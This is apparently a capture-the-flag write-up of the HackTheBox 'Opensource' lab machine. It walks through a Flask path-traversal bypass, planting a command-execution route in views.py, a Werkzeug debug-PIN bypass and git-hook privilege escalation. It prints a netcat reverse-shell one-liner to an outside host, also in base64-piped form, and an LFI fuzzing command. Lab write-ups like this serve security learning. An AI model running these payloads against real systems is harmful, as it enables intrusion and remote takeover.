HackTheBox — Opensource

ARZ101
8 min readOct 8, 2022

Opensource an easy rated linux machine which involved a flask application running in debug mode with an ability to upload files, having the .git folder with two branches one having the source code of the application, it was vulnerable to LFI (Local File Inclusion) due to the use os.path.join with a filter to prevent it but it was still bypassed, the other branch having credentials, foothold had two routes one being uploading views.py with your own route for command execution or reading specific files responsible for generating console PIN which landed us in a docker container, after finding out gitea was running on a port we could port forward it and login with the credentials found from the git branch and have access to dev01, from there we can escalate to root by adding pre-commit as git push was being performed as root user.

NMAP

PORT     STATE    SERVICE VERSION       
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Sat, 21 May 2022 19:02:18 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
|_ Supported Methods: OPTIONS HEAD GET
|_http-title: upcloud - Upload files for Free!
3000/tcp filtered ppp

PORT 80 (HTTP)

The webserver was hosting something called upcloud

Since it’s using Werkzeug , chances are that we may have access to console

But this was protected by a PIN so let’s move on to explore what options we have on the site. We have an option to upload files also to download the source code

Looking at the source code we have git repo of the file

So the first thing that I usually check is for git logs

We have two commits made in this repo, the latest one just shows that the application was running in debug mode but now is running in production so nothing really in the commits

Running git branch showed that there was another branch named dev and we were currently viewing public

Switching the branch with git switch dev

And checking the commits made in this branch we get credentials for dev01 which we maybe able to use it somewhere else

Checking the source code from the public branch

In views.py, we can see that it has a functionality to upload files in the directory uploads and in the upload_file function it's calling another function from utils.py named get_file_name

This function is being used for sanitizing file name in case of a LFI (Local File Inclusion) and it’s being called recursively

After the file name is sanitized and uploaded, we can access it through /uploads/filename

But it’s using os.join.path which is vulnerable to path traversal if there's an absolute path being used it will ignore the base path

We can try for LFI here but it’s not going to work as the function get_file_name is removing ../ recursively

We can bypass this as Werkzeug will normalize //upcloud to /upcloud

So we can provide ..//etc/passwd which will bypass the filter

Also we can fuzz for the LFI payload using LFI-Jhaddix.txt from seclists

wfuzz -c -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt  -u 'http://10.10.11.164/uploads/FUZZ' --hl 254,5

Which url decodes to ../../..//../../etc/passwd that bypasses the recursive search for ../

Foothold (Method 1)

Checking the upload functionality we can upload files and can rewrite files on the server meaning that we need to replace views.py with our own route for executing commands since the server is running in debug mode and it will restart the server on detecting changes , I tested this locally and it was working

I added a route in the file for executing commands

def run_command(command):
return subprocess.Popen(command, shell=True, stdout=subprocess.PIPE).stdout.read()
@app.route('/<command>')
def command_server(command):
return run_command(command)

Intercepting the request to upload a file

Now changing the filename to /..//../app/app/views.py this replace views.py which is on the server

I checked if nc was on the target machine

We can just a openbsd nc reverse shell payload by encoding it to base64 and piping it to sh since bash wasn't there

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 3333 >/tmp/fecho 'cm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuOTYgMzMzMyA+L3RtcC9mCg==' | base64 -d | sh

Foothold (Method 2)

We can get foothold by generating the console PIN using the exploit from here

https://github.com/wdahlenburg/werkzeug-debug-console-bypass

Replacing the values in the exploit by reading the MAC from /sys/class/net/eth0/address, boot-id from /proc/sys/kernel/random/boot_id and cgroup from /proc/self/cgroup also replacing the path to flask app , modname and the user running this flask app

We can get the MAC address through the LFI we found and convert it to decimal

mac = "02:42:ac:11:00:02"
int(mac.replace(":", ""), 16)

Reading the boot_id

And the cgroup file

Combine the both boot_id and cgroup

Now we just need to replace the values in pin generation script

On running the script, we’ll get a pin

Privilege Escalation (dev01)

After getting a shell on the container, there wasn’t anything, I ran pspy, linpeas but nothing came out of interest, but if check our nmap scan there was port 3000 which was filtered, since we are on a container the gateway is usually the host machine.So running an nmap through the container (by using a statically compiled binary of nmap )

We can use chisel to port forward this (by of course transferring on the container)

Here we can use the credentials found from the dev branch

In this repo we can get the ssh key for dev01 user

Privilege Escalation (root)

Transferring pspy for monitoring background processes we can see git-sync being ran as a root user

Reading this script

#!/bin/bashcd /home/dev01/if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi

It just detects if there are any changes in dev01’s home directory and if there are it adds that file into the repo and makes a commit

We can’t really do exploit this script but I came across an article on exploiting git hooks

Which abuses git hooks, this wasn’t really the exact scenario here but it gave me an idea to abuse git hooks, so we can include a git hook script in .git/hooks and we want pre-commit script

We can include a pre-commit script which will run before the commit is made

And now waiting for the git-sync to ran which will then trigger this pre-commit script and give us a root shell

References

--

--